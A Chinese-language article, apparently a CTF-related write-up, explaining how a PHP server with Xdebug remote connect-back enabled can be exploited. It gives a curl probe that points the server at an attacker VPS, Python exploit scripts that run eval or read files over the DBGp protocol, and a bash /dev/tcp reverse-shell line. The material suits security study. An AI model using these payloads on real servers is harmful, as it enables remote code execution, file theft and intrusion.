Xdebug是一个PHP扩展,为 PHP 脚本与调试器客户端提供了一个接口,可以远程调试服务器上的PHP代码,使用DBGp协议进行交互。
前段时间WHCTF的一道题目考察了利用Xdebug进行攻击的方法,n1ctf上easy&hard php也出现了能够利用Xdebug的非预期解法。本文即介绍一下关于Xdebug的那些事儿。
Xdebug介绍
Xdebug是一个PHP扩展,为 PHP 脚本与调试器客户端提供了一个接口,可以远程调试服务器上的PHP代码。很多开发者和安全研究人员通常会在本地搭建一套PHP的调试环境,用于日常的开发和调试。Xdebug使用DBGp协议进行交互,这个协议也是下文利用Xdebug进行攻击的基础。
Xdebug的工作原理
IDE(如phpstorm)已经集成了一个遵循DBGp的Xdebug插件,当开启它的时候,会在本地开一个Xdebug调试服务,监听在调试端口(默认是9000)上,这个服务会监听所有到9000端口的连接。
当浏览器发送一个带XDEBUG_SESSION_START
的参数的请求到服务器时,服务器接手后将其转到后端的php处理,如果php开启了Xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上。
Xdebug有两种调试模式,一种是固定IP调试:
这是Xdebug的默认模式,参数为
xdebug.remote_connect_back
= 0
这种情况下,Xdebug 在收到调试通知时会读取配置 xdebug.remote_host
和 xdebug.remote_port
,默认是向 localhost:9000发送通知,这种方式只适合单一客户端开发调试。
另一种是动态IP调试:
xdebug.remote_connect_back
= 1
此情况下Xdebug根据请求来源(REMOTE_HOST)来发起调试,当用户的请求参数或者Cookie中不带调试信息,数据流就是浏览器到Web容器再到PHP,如果加上了调试参数,则请求还会由PHP转给Xdebug处理,Xdebug再把信息转发给IDE,完成调试功能。
利用Xdebug执行远程命令
1.判断方法
对应上文的动态IP调试,如果服务器开启了Xdebug的回连,并且攻击者能直接访问到服务器的话,可以直接造成远程代码执行。
当我们在Web页面的phpinfo()中看到Xdebug的参数配置为
xdebug.remote_connect_back = 1 //开启回连
xdebug.remote_enable = 1 //开启远程debug
xdebug.remote_log = /tmp/test.log
时,即可使用Xdebug进行连接,尝试命令执行。
但当无法从phpinfo()中确定Xdebug状态时,我们可以通过一个简单的curl命令测试远程服务器是否存在此漏洞:
首先监听自己的vps的9000端口
everglow@ubuntu:~# nc -l -vv -p 9000
Listening on [0.0.0.0] (family 0, port 9000)
然后执行
curl 'http://TARGET_IP/index.php?XDEBUG_SESSION_START=phpstrom' -H "X-Forwarded-For: VPS_IP"
(Xdebug采用HTTP请求头中的X-Forwarded-For
字段作为DBGp协议的回连地址,因此这里是通过X-Forwarded-For
头进行判断)
当监听端口得到类似以下的回显
498<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///C:/phpStudy/WWW/zzcms/index.php" language="PHP" xdebug:language_version="5.6.19" protocol_version="1.0" appid="11716" idekey="PHPSTORM"><engine version="2.4.1"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2016 by Derick Rethans]]></copyright></init>
则说明Xdebug开启了回连,可以进行利用。
2.利用方式
上文提到Xdebug使用DBGp协议进行交互,我们利用Xdebug进行攻击,实际是利用的协议中一些比较危险的命令,如可以读取文件内容的source
、执行命令的eval
、存在代码注入的property_set
等。在这里不再展开,可以参考DBGp的规范文档:
https://xdebug.org/docs-dbgp.php
Ricterz师傅写好了exp:
#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
在vps上执行脚本后,如上文所述监听vps端口,执行curl触发Xdebug,即可执行命令
>> system("whoami")
反弹shell
bash -i >& /dev/tcp/vps_ip/8888 0>&1
进行等等操作。我们也可以不使用eval命令,而是通过source的方式直接读取文件,则exp修改为
#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data = conn.recv(1024)
print(client_data)
data = raw_input('>> ')
conn.sendall('source -i 1 -f file:///%s\x00' % data)
进行同上的操作后,即可通过相对路径方式读取文件:
>> index.php
也可以绝对路径方式读取:
>> C:/phpStudy/WWW/zzcms/index.php
参考链接:
https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface